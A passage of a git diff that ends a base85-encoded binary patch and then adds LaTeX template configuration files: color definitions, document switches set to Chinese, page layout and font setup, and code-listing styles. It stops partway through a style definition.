zK_Tz4U3fY|f_7;7_T*b1w%dyw$@^32-Pz683q@n7QJ=%Xcg?xg8z)g8Hc>_sM?7}R z>=|BAz&-~@Rd=sh4sFR7tLJWw=}j?YdQP|4cBa*IRIcMQt3D|i9O1o40_D(eo03ke zLF{2>bNOSbe=}Mj`0$7!-_jWjY4AI6uXmvhx)+tY(_S2O(ZcayL)!kl*ZByecm`Ry z(&OA=N`d>#_X}kuYG)?o{sDwK)Oajo*&AY$1?#vjN8$zp91;Z_G-nVX6oK_2I{^Qz%|EOtdN-s%nUXEMr4yN~}a~rcC05su7 z=n#q+vuBYEG5ZZ`SQRi*oJnv6ttZTtA_!~j%@|HJp=>oAghe>e2ZBS`vqS3vVWj*< zm>cXgaTBzELPUJnYXxLjqR_v_EZGInPGk#MEdk9}6DZnu4vr~wH#QEvG0903`jL!U zpLHg)HELLNH~Y<}Ps;w(1qY<+-K%h=BV{$OyYJY&-n6#${e(N_mp=|KZ5x>0!Q{;- zx2y3_ZW;K^c)Uf|TPyX}wte={)F!DWp6|0wM%!{S`JY;kuF?k?SEbMS9pjh1^f)z>8`fI?t`OA$IYp@lJbDeBM;fO%3D)J=t>(DzH7;4U0%)HcO z>kA*~D=0>4ijf5q9f8YGyc@6?8_EGM_t0xz%YS&lTY*xOT4MoYbRD)L)PcrBti~tc zx@K<#Mbqcle$comrENN3ZI2K1*&2nh7o0orYl{`IGFs_PdjmE&3at)T-H9Dwhp%G` zY^XY5Zz#~h)xqc<@)ItL)W9;Pg?^%JVYg_;dz%@XS07tNU{L>#l_k9qtzKU$VwNpf zJn)s{P@GZdBA+NLGi%MNy(<-e0&XPoL$J+F`X;1;Sqeo#j zSsG0bD1akkl(J<#L^{($CP}Bj_;Pp4k`rxYe{N-2&3eNnqev~g+QecNg6ZV!!?{9= zv}VSwHa*0feL}5gaNtI$>TiSt_zRN|wX=0Lv2}JL)h18daGpOWar{&Wa321&hbafAACf?z|7<);rx@Q{(SnM&{TE~ z&|he3v~sKM4*=5QIhH3l138rv2AVnT7|f1Zhjx5t%Gw*EyQkOE{dXDcate6Cw3&T5 z>+=ts`tSMl$uqvqf3)6XX%vWT{T3!!nd)}U^11Oj6edsngZ@l6sp%m6Fh&P!rRMih z*qobm9obEbM}f6YQ}U@BXrhIVc}4*Zi5;-6=(yNOi|_8&hfrNsq}+pw8Ds9-03J!5 zss^%m@j8j`Wk<^F{d93I9C|&0AXy)*clfzwU>*E+L0DJo|zh;aDx2EJ=*tR#|Bo+JWWf2IrJ_AtS9wa!D9LSOYto=MW_o6 zcr8|PqsqbY?@?7$_@<1rg!x@3C)1N^U&(yhX)EgW%mVGxh1=OjD<=o%7i}rG(+k-| z_tL%_RjWDOBDu92zP8Moh=A$S>l8kzf#$um5cZ9uBU@o1Pg zEzSa zguuPWjd^~p;_ejmBFHCHr4-8_C`NDQR3dnWi(H*0JqPM{Rm|B>2CX=s(iNpUVKhnCK5* z_;>#E=cN5#{=@k*?|kv7zxAJA^Ui;_+5iM{{KbF%G!fL;A0`^TxMC0Q?7~ljPmBlv zrM+^0{^}r3Plxb!6&XAhP6XXaNtW-e2L2UI5Kbh1;8ifpC%liE{nm_+o>JvY?{E(@ zmVH}l*=DY~A<$*qmh6FR&ToLWjGV*P*X<1l0;fjA^1m7A=fM9BhJb(k+y6TY{fwFa zlZF1(;eUM5zcmpn+h0t?KU9ez0z?W~T`B^x*c&C(NkguY?yOKdV}@BaW(FO%Ym}3k z-LHDz2z59?s5d}QckD+icRwY3NN;KSP^LhW9Nd$nlwq=nx;HwlIb15X>oc8;uG4oq zUJj}!AxF!l73ZQvG(lt(Xxzx`de2k+q*uR$n}$qQ{F|wO{{trg{_mvV510I9Hs<`3 zCj2d${?+0Ci>)|@S`oU0(4ba+6s6&wEaq%n;RJ@DA@Z*BR5ol>RDZkYDo20y@l_fs z0Unk?T1QpUn#OX2%KLJJR|(igQ@CFfD%R4dKJ`wJBwp5S^r%x<+S1Dv=Hy(4Ha>yD zIGs5p5sh_(p)u0d>XJ@KP(FTtKKH!=%kL-q_PeeAE{^@llz#C;;Qt=TemC8p;qdQG z_fI1kkn4q){Tj*&H3nl2I8l~H)o)-2;-&V4KPbKfPXISfEpY2(G#+fqG>)I&xOSqQ zKPu6=mc2&8pH`D57gq`kbCzwF_jSBESI(mo&#IQ&x0@8yD?0W)NxZHO6`Hil1T}J3 z$Z-iK=Dgi!VHr_u^6E@v>)m|Hne`KmBrcRPy+V4V7W#x%#+>q=Tvf9$L{_X8(f66B zQ8Oa@>G|TzyZ&e2bl)7)8N!c()G~muBJH%qlZ)?^z!9<>%yv0JdBHXJo%A-OFJGf% zxNmKjnTah-1r`x%n!Dt+*AHlk%cqi(ow(l|XXNlNb9jBJ9w^V4*(`UywRSLwq??oh z+V&?7l+ax%*QMc&oXCez{4@tAW9w{oi*`SFf zF;3e$u(;MplbUB~XsIndye+0Fkjlsk-Ie$;3>*XvY~T5oie$8&k76V_<~G=N);1Ab zNA>ZUAv8OX1m@*%6Drh%N7@qfh{q--;nWq^eM_bJ0UE(#8;W9UK1nAGe}5g+%*%Df z@~JKg+yJdkU}bn#Kq#ivhqN%NP)NK_X<)Huewy9Xa8rPmTbaaM)<{A($?c+mv~Zt0 z)lm1W9Dp($Vev|-@HSV$WJoHGj7q7br)qy<`1rmANty9|^8~d|PR};A2Z~|9g;UhR zdRI*P1U;c6iq#cH+}>aYN1f%z%?kZ!$g-A;!FN;kZ`VI$V=zThT~X>|0|tBfL)6F- zOL`_B*pJ%>60CMiv+~b#0*->jgeNR9j8%o3>ZT7^_Ur6NsOmy%T;Hv(fc=06t!X~S zd;zUMU|(l~5J>@KzOZO8FiVvx>32inoG|b;fUDBx2BIaip%e!LU2%K}n8!92#-3;+ zT1S$!RX@dXSLLBtF5P)jgL@$*QRpM9xoMr2HwIw|B92>tHr`LX40HnfsyvmFYxhCP zbu}@h8|;B`HDNs%jCWk$9E8q7PolWzl1sL}`a?f(Y@AcmWWV8QCifX3jo|P4F}}5F z1X_bD@Op%bA*PD@5YzHuqiT9crLp*q&`1M3VUu7ke!?F84#SygJ>!DPcKrL~-t6O+ z!zx3p>`B>uu!G{D5o1b^%O~Fe_k~rTPR1Qe9(or^M4aM=2`ctI2kLT(`@Gu;nw407 zw%4<)?g#`0c$fO3?=}IUy2S5PKDpxJys}Kxv_l9PL zJqc7?0DE`*nG7*fkwt36qaay>v;P}?gb}m5x4U<$XR-zNs0Kd*E@*k~2iyj{djmuU z$5Ti>PwCm9*Hs>oLxQ~5GuM6IG5@fFAs0}N(Lf*8D96%|XQ|CZ7NHu|ZYGT?aHrpd zTQUfXqzP`4*FTyja(44@=U|y9*~E;yIS1r@;9K{366zxnb4sl%?%-M?zwol5y!f?y zTAoWoHfNflmuENFY%P;K^;P6%kN}W8jcHYN*i4AP z7`{CZ7#_3+p+?g|4zPM`-Ri?cjsiIs+C%kT_m*UTQWpPbIhv1>32=KXg<66st(_G_ z0+WLRGI;U%zF6yA>va^F;+c5ec#|63sVTXIwpU`1oqnPx@2!x)*NWBWQjP_vYfPgR ztNZin<+lNO&w4OQ)N{db z54&IbFyf?)d~mHP{y~DymPR;h>;uuWrYH7-L-uu!>qDto6-UfEAB3Z<*UfSsKs zEVMZ2T|3HDxlnIbbtgX`5TYT`?zrH>rTyYEetizMa$ zRqb0Sp2%J0ST5s(&mwz-RxL&3`}5X;eZDIqLVwa8(G{d@h7^QuVq)F~KWfr0%ib{? zVZL1HkkB~zrprE2nFA(^QYG@^@1sW?I^IWy;$#tbl8|1bdvD6F6;s> zaTTn3Ez56h!v%RkU@}ZF?H$A*i0ItU9mMQrHC1rSCn%q9e5L}HJ~42McsStSQhS+V zao0|#z6hC~Q0ZwT%y_pm3JHvH&)>?3kqaQdcMO)$_!?I{RwcM8xg_a$8rVO`eg~qk zVZw=KxnRhvL;f7g@txW;c8K!A_vjv9nyEZYk8C(}dWnRo+c)R;(fl>B`FC`h9l-q; ztLjcDS``4$z*gM+#EHG^wT;+;;OKc0bHs;4X7`Ybc-O(Uu~lJWz)Qh{uu ztQKAeF|PB9cYVD4X+*>CvRdXBr>%nIwp!*WDa^GleAOTJ1{uNKH>S7jd z#W7&Mb4`@d{{ihV@&PyA42`0sP*JD%eI8gcxASmjn(`S&31W##Qs7=7 z_DPYo*N&Eb=Q{AmC?X0L^@f$u#q_;BlS9;6NcR%sjJNE#YZL5lVWa51-Qh9ZY2I)6$uKYLeckE5KHc4t8sRr z2EL|yHtqY-k;P9ZDX3`iDiZE+u2+O(a5N_L3#7U3Eei9uUv*UN^wPbIFhAgrb{g4m zPlCE))t3DUM2^|sU?5_Xr_6lyFN4G!MXAV?ECbCbX9T1R!4sF^aB&V;iNFaEUpWUs zeWMyC>-n(N^=JzUgHyIE5Vz4LQ}Lr#CA(wO;)mz$Qmt$C0)Ly1sYO&TT8UKcg#VEe zJicUqz{&X*w;m$Uh>(wsrg)(sz`1y-Xk1nQtKhR|1U}WXp}=xm{;n$zar2w~k7G=_ zJGlzyO6KP+HyI&UAv2i?n`duFQW+l9^##0gR8l#UJdJk;I`oR(yKtA3>d{{%O#g29 zUo+yr^(gBl6G34?kR8BRQLMF*()XNAjn+=fd~TSk9k^O~ z(;(a)(N@=Xy?gI_JG}9I74eX;G(zj+N8aexrbC(qgL>>wGA0SoZY~K zL+uf%t2*g&msaPQ*`dK^ zbxf6QMHA8-OdU)$GAF@T{97Dkbk@pPyKwWW*6viyi)*?( zH-0fI@<7oR$RP38l-Wv}aVlHHYll?$`ve#m>^>6(6%`c`M|ZZE{DlFDy|P%ly4Vpx z;zxOC>CLHbADV~sD3|E9D3kA?-1lFKc4tLNkkK(w#_=WN1&E(-Po5=)Y;A?&zBGrq zh0mS0C!F^Pti`RwI;YbhC&0+m%Ls}L@4Vn)JG+B8g`-w18;wIe7uFYx7z5^kG z>WA9aP}XrWj`5R1L1uR$W*S6hH4LM8uB0f1{EH;~_IO2-yLAdXFg9kTM8Wx@O_x|Z zokEB}{o~VeWG-i;9+JDdrMqbXll9L5mg3gjWAdt56sg@nYxFQtMU9%Uz`=RMGS zvIR#N--@w!&f~w~7$ingax9y^-Y>D-vxd zjrGgE8GuM%wV+_@HQ^zhCCx=Zuc$0Vd9=qZ3)WP`!NnNKQs{0{=(&qj7{2}na5a+J ziz>YYs3EW>@FGX;nsh)Q+2inoQOEjIz}ZcW6m>wPk}{Zmb$Xv0!MB=1;<+aBcv-@U zk+QCcD4GgghMsCyaz4peflG`8TGym|3v`;H_gbEKIqu&h0BsyGCt#m$=kB8h9*$j9 z%IbXW{r(jRWiFb17Q*a^Ltb3O5l`AmY)#@PaAfpG8s-TedJEkuC(G=1OQWXeFVeVI zGuw%m(A?OmOttud_m}&X`Zouwo04Tjvv=;g`bcd4?qH?MonrQN5hUNCo>s(lLtnjy zKjG4fF|EN+_%6I_ZSPC>ao_l^xhtw)%-Y+#^fHEWbffIk0O@o}l+alp=BE<+OnlXu z0EyR657fo#N%6fe6fhMyQ9xe|*p1ohA~k3B|;en7nPB06Dk8^qNntt|F)CmC5fk>^<( zKNOge_qPI4uhqDEV!GTN?P#%oM$z2VD$PXhGEdu^Ts6u?44!PD2kEu2Z0L+YPdDb3 zjdb0kw+b)`7umwk79S3nl?-5+AjlpOjb3$xq0fu=sD@BcT2eb3)ppaRHcsNcS=J#` zJBU}uiW73#JA&Z&Axath5LRB6*W9%tQrat!RRVj+(C%3{=iqXJ;`Xzbfr`gH_hr}e zF6Xx3ZSX^N;7@o%@#tyKP^RM@E)dGX&obbzDFNiST6#NqLA0Q1!mQ5QM}}QP_DGR! zmNidPNU^;EMarA9G38=xU2wLO;AC2&Au=MI*uG7N({bQ_qOxw;ImEdR+ru}4?L^fu zYy7k7!BOo63nseSJ0TMfCX6XWibn{pK?s&$_}eHsSiG2_ar+Bs-*RV3@eZJLEp%5M z)SjBqgD(VMk!R5H<3>^ zXD%tiwX@qo!w-fJ60Y|5WEig4ihw2phgbX6O>6;DhqrvXc=%?eUZH?Hl6R=!M$R25T3Ex#)2}R zF^%|4z;IN29M99s$dgWcMt7kGm70W@oXaho9yXc&J^}1(RI_k5?{Pom$SFiSb$> zQuMQQ;zCc)H!noO3klsul35nS&$tGgSDS4wbYUA@DQ2I^jy{v9KIoWSi#1G{ZQ$@) z$Rq#+dNi&f$s$l?;N-qZN_5RI8nH)?^CmasHk36ai=H8Fo}ig3wfZrN4?rtwv)w2O!s8V1Zd?VGj~gQ!F;Fu%wZ%kv5K9>YmTRXX;# zQJNA}1ZaGf!A}iDisJ_AJx$+W&phyW7z~ju2P#a=UZF11H7!=!&Y#x4R55P7Hj_yC zHkFAL5IfzjqQ~vxaPHE+EOJKwS-#}8**25nm$GK>^NVvQjjp%7T-;z1tkPF zq-c7n?~I^WJNq!aFHM3dYn}otTake|z%wd89ccavKbWy>us&z*{fltCA00poldvI} zKRix_C&M!16I(FnokD_8YY{W)J|*Z*SiY+6DJo0Z-2igIT0hMd#~kQ@ z^De0;7;gMfHN}K8G%HH6s|2io-w!iErYd^MAqm8bn% zPv21b#0{DTvMDE=MNU>&8rhAnn_stki>8fp)KwSS*x!!BZ-MN@5xM;|2uHAxNk6+8id45BFcN(Y6nEMbFO2Egl>uU3Z6XDU5g9V)_dWPjlRwJzQyAE@uy$4_ zR#!8nF9LR`ZU~WVy4kGQ_9yny)Myt2PHe(ot|vZY0J>a6bOeTX@l5x(NK_G~ub*wq zX}o5)fqK(xgw}_NEMDp$KHj&OOy*Xe<*W2m+Izb)U?`t(#aO`3WKusp8yBI4$DwD* zqWdQAJPLBV18iGvf8a3wvh4tA4}7}~I7Gep-Q)9qjy@dv&?k=qsS2!hy#!GX4drwF zV#pDs;q7;T_X;)fl#*B-y^l{HQy zTV#rq$V+39$_SFoFEpsG3rjeAInFV^w5v7Y+H;|pa=!f2QxRrtk@-Z)b&6?n$}}M( zOetEDaS3Z7&wRrE-NksKm%P;vL+v!9O`CUwUUh=!R}929NNLKFPOx*=Z(xi%-?@TY zp*@RxeI~eUKtYPRCR}=w36Dy@TovF=o0{?G4>>pv;Ey?oPw<4g(nBi_&z9{ZbH_ z?U|RuIS3T4Pd7H7eH%tR@ZGF--!sR*Tez=#H14E9xvv?lj74EzbLT)TiwnIEou3#o zmg_?({8)vAnE(vRnjWLrN4alOr6}c2!-zcbZY?`vblkCXQ04^La+%F0f|$=$dyaf_-$ zckkU|xoL*oS30nsjRNZN-#qz~%@4uM4Ic;LA2LR|PT2&KUC2W^xd;N;Bv8fAX=jhG zXXgBqR<7kc&q+SE%Ry3LoSx|JXz^*46Ig$VSG65DrMU$|7lhcK_NX9F&%k;`aseB| zF}K<}9cCa=9_{zhDWEh??4f}l-BxW8`HQcg&!gskbqWd&C=i|>dkEUDh8Ym$I41j; zB}7e|29c=cSt6)xvP6g%#89rRb#4Z^)i6Uytq8e=S-S;72z91E3%?1xpH9-h zUKwH#!~5!jk~JBQA#i03CWv**Vr1izI<6+`z~xiq;lM`~Lwyl_5wM8fwe-!G%luR+ z+eJ~D59vZj8`4e%Kc%+G`PFxYxQ9~fwyMjDsKy>0nN=XgCIZ`SD68-xL2cik?>m+- zFns7H_6Dzahu)4HhrDXlM+`0H9Xg7+?u6PROFd<|8o@F(nq?NY=EK}lE}GTNQf}Pb zHOW1$gyz!4m-Z|;azYpu!c3zK6)DIycOufRFFuA4F0z7Eei6Ns9lo5dBY7~7+1U~Z zqT(&0gH$1y=($eRnn1yh3qx@HT(05RZuoYZXB7!gXWwM$$al;sA2w}3)m~2l3b)p* z_#4P*?K}ISIxsDnj$e^rpi_dmb8JA zLlu1)sEm|NU05w?i?G$u19-KypjXCWliXSuD}`34_||+5!kFWHFfVSQmYcOuMl()Z zY7fDy=5s`(pLscsE?GUGO_jMcr&#NBEf|p3b6T?G>ukUaBuc%ZhK`rx5Q4yFjh)c5f&doZj(KcVxi-u z`c8X1=rjsp`m_au)fb;$_O0P%&tmH>gG~dT-t(m)nrV>iS5t$*ierEvBgE?tER9#L zP*%ORhNzXyIK8Z9nv>)sX{&gl5orXf9r= zq8=AJ*Y;_|a;xJ;KSW>i>-6N?2wuX|iHT-yf|Te@G|pz_q8?2ImpBJz8G z%cp4xyBp0CMT@PwZ$4LeP0W94H!NCowj+I<`^395R?D~W1j!jF$@^flp#UA5{Q#~# z`c8F>i5s9CkS|3A4kECA1J1H(-(f1)S1PE5miYN{SXO;SsG@TMEBp}~iHr902~osE zLf9*oH@%%{$OXHPXVxf1t*kG1f_J?ds<2x~3`-}L@6D;mNh9VfTD8BZ_jB-3ab$fI zWo0x8maH;}qQg_g0%Xj?(m%;MK{j{R#NB}jq9x}&Xb0Ts2q?c{jzqNY84umHGodqr#c}A0g+RdL3#`M&fAhcmn=U}#AG24D4^gNb{_375!SzqnsKQzwpb+EjyssU9eQkv&YR zrDjyB9!=OKAQXOhtKXzQoTQ?)BMOez#4w1aa63FrPa{CJfxT3H8yM1sbLj&y_4^O} zRh;twvTO=QxYq?=PDziET930J@X)@B!#5*ZF527l#Dn6yC5Z*aAp3- zk{gG)%Z0gv-sb%VTPY$bsIS#7h95wbsvp9F!E8hdL<-622LfKRNHrFus+G|z20)1< z^I(>t>Ly-|akpHz9k&*7o$n$;zn2qIO#0H?TDhOU#l?FSMjrX(I@T^J8<{MI_=(CT zd=(BBP9EKr=!Hc`PA>Fz6?rETv%1$(pk#RKZh5#UZw-3m-gg5t+ zm61W$#W2u9r$WXD!q;5{cU5SrBF&)-($h6TJ^I4ANCyJDcl=n;025UoEFDQLXLkZN zwBm`2FK#oNdAgrse7rJwL}dd{Bf#@ZV8r{wza}=FEL#Qm;0tr@K*N9F0aNW{|1dir zk2w{@*C1Z2EGn4>NP6acyyGbTqXi%>CW7-e+H`(teB3YxUfz z5aO8s6vQE|QTYpUpC(Ox`TC6VA5s}uIbxZs zV|N(T$K59RX8N6G-TT>TEcuf4DkCa}IK66xMNNjaOD6T=MfKKhrURv&2;Lhcd%y!# z2MO$Lrd!hu$Jr6rO)K?ThbEQ!B{-SiV5Ox#gVQLe_Wka(|5X0{-;|YB`u#j$;n}AWWsL9 z2{Pse3F!X1Yx&;D5DbF47tP@pv0S9-|GI&gT2IJ|CRkQHutGB`O(P(!-C z8g!g~DujbDV=o{M996hfhLnsRMyU!-s=^w&k{l1L;udlLr}qA@)uN>Tf3KJ7Q3FS3 UcSjRb1Xds?0u`0GyadAk0Sbbr*8l(j literal 0 HcmV?d00001 diff --git a/tex/config/colors.tex b/tex/config/colors.tex new file mode 100644 index 0000000..98bc2f0 --- /dev/null +++ b/tex/config/colors.tex @@ -0,0 +1,14 @@ +% Required packages: +% \usepackage{xcolor} + +\definecolor{brandcolor}{RGB}{0, 148, 134} + +\definecolor{LightGray}{RGB}{235,235,235} + +\definecolor{Gray}{RGB}{210,210,210} + +\definecolor{Blue}{RGB}{48,129,238} + +\definecolor{HyperlinkBlue}{RGB}{0,0,195} + +\definecolor{VioletBlue}{RGB}{102,51,153} \ No newline at end of file diff --git a/tex/config/config.tex b/tex/config/config.tex new file mode 100644 index 0000000..3dbb4a1 --- /dev/null +++ b/tex/config/config.tex @@ -0,0 +1,33 @@ +% Define the used document language in ISO 639-1 code +% see for more info https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes +%-------------------------------------- +\def\CONFIGLanguage{ZH} +%-------------------------------------- + +\def\CONFIGEnableTitlePage{true} % true or false +\def\CONFIGEnableDisclaimer{true} % true or false +\def\CONFIGEnableCopyright{true} % true or false +\def\CONFIGEnableTableOfContents{true} % true or false +\def\CONFIGEnableListOfFigures{true} % true or false +\def\CONFIGEnableListOfTables{true} % true or false +\def\CONFIGEnableListOfSnippets{true} % true or false +\def\CONFIGEnableListOfAbbreviations{true} % true or false +\def\CONFIGEnableAppendix{true} % true or false +\def\CONFIGEnableTableOfAppendix{true} % true or false +\def\CONFIGEnableReferences{true} % true or false +\def\CONFIGEnableIndex{true} % true or false + +% check if document is oneside or twoside +% The type is set in main.tex in \documentclass[...]{...} -> line 2 +%-------------------------------------- +\makeatletter +\if@twoside + \def\CONFIGOneTwoSided{twoside} +\else + \def\CONFIGOneTwoSided{oneside} +\fi +\makeatother +%-------------------------------------- + +% Load basic packages for layout +\input{config/layout} \ No newline at end of file diff --git a/tex/config/images.tex b/tex/config/images.tex new file mode 100644 index 0000000..237c1fc --- /dev/null +++ b/tex/config/images.tex @@ -0,0 +1,7 @@ +\def\IMGTitlePage{images/favicon/favicon_white_padding_192.png} + +\def\IMGHeader{images/favicon/favicon_32.png} +\def\IMGHeaderColored{images/favicon/favicon_white_32.png} + +\def\IMGExampleOne{images/content/ben-kolde-367194.jpg} +\def\IMGExampleTwo{images/content/nate-grant-346782.jpg} \ No newline at end of file diff --git a/tex/config/layout.tex b/tex/config/layout.tex new file mode 100644 index 0000000..0dfe007 --- /dev/null +++ b/tex/config/layout.tex @@ -0,0 +1,162 @@ +\usepackage{ifthen} + +% page dimensions +%-------------------------------------- +% see https://de.sharelatex.com/learn/Page_size_and_margins +\ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}} + { + \usepackage{geometry}\geometry{ + a4paper, % a4 size 210x297 mm + left=35mm, + right=20mm, + top=35mm, + bottom=25mm, + footskip=10mm, + headheight=20mm % required for header + } + } + { + \usepackage{geometry}\geometry{ + a4paper, % a4 size 210x297 mm + twoside, + left=35mm, + right=20mm, + top=35mm, + bottom=25mm, + footskip=10mm, + headheight=20mm % required for header + } + } +%-------------------------------------- + +% reduce chapter margin +\renewcommand*{\chapterheadstartvskip}{\vspace*{0mm}} + +% Multi line comments +%-------------------------------------- +\usepackage{verbatim} +%-------------------------------------- + +% font +%-------------------------------------- +\usepackage{fontspec} +\setmainfont[ExternalLocation=fonts/Roboto/, + BoldFont = Roboto-Bold.ttf, + ItalicFont = Roboto-Italic.ttf , + BoldItalicFont = Roboto-BoldItalic.ttf]{Roboto-Regular.ttf} +% language Japanese + %-------------------------------------- + \usepackage{xeCJK} + \setCJKmainfont[ExternalLocation=fonts/NotoSansCJKSC/, + BoldFont = NotoSansCJKsc-Bold.otf]{NotoSansCJKsc-Regular.otf} + %-------------------------------------- + +% set line height/spacing +\renewcommand{\baselinestretch}{1.5} + +\ifthenelse{\equal{\CONFIGLanguage}{DE}} + { + % German hyphenation + \usepackage[ngerman]{babel} + \usepackage{csquotes} + }{} +%-------------------------------------- + +% Remove indentation +%-------------------------------------- +\parindent0pt +%------------------------------------- + +% Landscape +%-------------------------------------- +\usepackage{pdflscape} +%-------------------------------------- + +% dictionary +%-------------------------------------- +\input{dictionary/dictionary} +%-------------------------------------- + +% colors +%-------------------------------------- +\usepackage[table]{xcolor} +\input{config/colors} +%-------------------------------------- + +% images +%-------------------------------------- +\usepackage{graphicx} +% \input{config/images} +%-------------------------------------- + +% Tables +%-------------------------------------- +\usepackage{longtable} +% alternate rowcolors for all long-tables +\let\oldlongtable\longtable +\let\endoldlongtable\endlongtable +%-------------------------------------- + +% date +%-------------------------------------- +\usepackage[yyyymmdd]{datetime} +% format date +\renewcommand{\dateseparator}{--} +%-------------------------------------- + +% Header & footer +%-------------------------------------- +\usepackage{fancyhdr} +\usepackage{lastpage} +\usepackage{etoolbox} +%-------------------------------------- + +% Enable linking e.g. for table of contents +%-------------------------------------- +\usepackage{hyperref} +\urlstyle{rm} +%-------------------------------------- + +% Listings - e.g. List of code snippets +%-------------------------------------- +\usepackage{listings} +% load style +\input{config/lstdefinestyle} +% init file variables +%\input{config/snippets} +%-------------------------------------- + +% Abbreviations +%-------------------------------------- +\usepackage[printonlyused]{acronym} +%-------------------------------------- + +% Bibliography/References +%-------------------------------------- +\usepackage[ + backend=biber, + style=numeric, + sorting=ynt + % citestyle=chicago-authordate + ]{biblatex} +% define reference resource +\addbibresource{base/bibliography/references.bib} +%-------------------------------------- + +% Index +%-------------------------------------- +\usepackage{imakeidx} + +% uncomment to at numbering +%\indexsetup{level=\chapter} + +% Activate index commands +\makeindex +%-------------------------------------- + +% Appendix +%-------------------------------------- +\usepackage{appendix} +\usepackage[german]{minitoc} +\usepackage{titletoc} +%-------------------------------------- \ No newline at end of file diff --git a/tex/config/lstdefinestyle.tex b/tex/config/lstdefinestyle.tex new file mode 100644 index 0000000..0c8478a --- /dev/null +++ b/tex/config/lstdefinestyle.tex @@ -0,0 +1,150 @@ +% Default code style +\lstset{ + frame=single, + captionpos=b, + lineskip=0.5em, + xleftmargin=\parindent, + belowskip=0em +} + +\lstdefinestyle{customStyleBashDark}{ + language=Bash, + numbers=left,%position of line numbers (left/right/none, i.e. no line numbers) + basicstyle=\footnotesize\ttfamily\color[RGB]{255,255,255},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small) + numberstyle=\color[RGB]{0,0,0},%style used for line-numbers + backgroundcolor=\color[RGB]{33,36,33},%colour for the background. External color or xcolor package needed. + commentstyle=\itshape\color[RGB]{153,153,153},%style of comments in source language. + keywordstyle=\bfseries\color[RGB]{143,217,68},%style of keywords in source language (e.g. keywordstyle=\color{red}) + identifierstyle=\color[RGB]{101,197,222}, + stringstyle=\color[RGB]{236,118,0},%style of strings in source language + belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption + breaklines=true,%automatic line-breaking + frame=single,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox) + xleftmargin=\parindent, + showstringspaces=false, + captionpos=b,%position of caption (t/b) + showspaces=false,%emphasize spaces in code (true/false) + showtabs=false,%emphasize tabulators in code (true/false) + tabsize=4,%default tabsize + lineskip=0.5em, + postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}} +} + +\lstdefinestyle{customStyleBashLight}{ + language=Bash, + numbers=left,%position of line numbers (left/right/none, i.e. no line numbers) + basicstyle=\footnotesize\ttfamily\color[RGB]{0,0,0},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small) + numberstyle=\color[RGB]{0,0,0},%style used for line-numbers + backgroundcolor=\color[RGB]{255,255,255},%colour for the background. External color or xcolor package needed. + commentstyle=\itshape\color[RGB]{52,121,54},%style of comments in source language. + keywordstyle=\bfseries\color[RGB]{138,18,130},%style of keywords in source language (e.g. keywordstyle=\color{red}) + identifierstyle=\color[RGB]{0,0,0}, + stringstyle=\color[RGB]{0,0,192},%style of strings in source language + belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption + breaklines=true,%automatic line-breaking + frame=shadowbox,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox) + rulesepcolor=\color{black}, + xleftmargin=\parindent, + showstringspaces=false, + captionpos=b,%position of caption (t/b) + showspaces=false,%emphasize spaces in code (true/false) + showtabs=false,%emphasize tabulators in code (true/false) + tabsize=4,%default tabsize + lineskip=0.5em, + postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}} +} + +\lstdefinestyle{customStyleJavaDark}{ + language=Java, + numbers=left,%position of line numbers (left/right/none, i.e. no line numbers) + basicstyle=\footnotesize\ttfamily\color[RGB]{255,255,255},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small) + numberstyle=\color[RGB]{0,0,0},%style used for line-numbers + backgroundcolor=\color[RGB]{33,36,33},%colour for the background. External color or xcolor package needed. + commentstyle=\itshape\color[RGB]{153,153,153},%style of comments in source language. + keywordstyle=\bfseries\color[RGB]{143,217,68},%style of keywords in source language (e.g. keywordstyle=\color{red}) + identifierstyle=\color[RGB]{101,197,222}, + stringstyle=\color[RGB]{236,118,0},%style of strings in source language + belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption + breaklines=true,%automatic line-breaking + frame=single,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox) + xleftmargin=\parindent, + showstringspaces=false, + captionpos=b,%position of caption (t/b) + showspaces=false,%emphasize spaces in code (true/false) + showtabs=false,%emphasize tabulators in code (true/false) + tabsize=4,%default tabsize + lineskip=0.5em, + postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}} +} + +\lstdefinestyle{customStyleJavaLight}{ + language=Java, + numbers=left,%position of line numbers (left/right/none, i.e. no line numbers) + basicstyle=\footnotesize\ttfamily\color[RGB]{0,0,0},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small) + numberstyle=\color[RGB]{0,0,0},%style used for line-numbers + backgroundcolor=\color[RGB]{255,255,255},%colour for the background. External color or xcolor package needed. + commentstyle=\itshape\color[RGB]{52,121,54},%style of comments in source language. + keywordstyle=\bfseries\color[RGB]{138,18,130},%style of keywords in source language (e.g. keywordstyle=\color{red}) + identifierstyle=\color[RGB]{0,0,0}, + stringstyle=\color[RGB]{0,0,192},%style of strings in source language + belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption + breaklines=true,%automatic line-breaking + frame=shadowbox,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox) + rulesepcolor=\color{black}, + xleftmargin=\parindent, + showstringspaces=false, + captionpos=b,%position of caption (t/b) + showspaces=false,%emphasize spaces in code (true/false) + showtabs=false,%emphasize tabulators in code (true/false) + tabsize=4,%default tabsize + lineskip=0.5em, + postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}} +} + +\lstdefinestyle{customStyleHTMLDark}{ + language=HTML, + numbers=left,%position of line numbers (left/right/none, i.e. no line numbers) + basicstyle=\footnotesize\ttfamily\color[RGB]{255,255,255},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small) + numberstyle=\color[RGB]{0,0,0},%style used for line-numbers + backgroundcolor=\color[RGB]{33,36,33},%colour for the background. External color or xcolor package needed. + commentstyle=\itshape\color[RGB]{153,153,153},%style of comments in source language. + 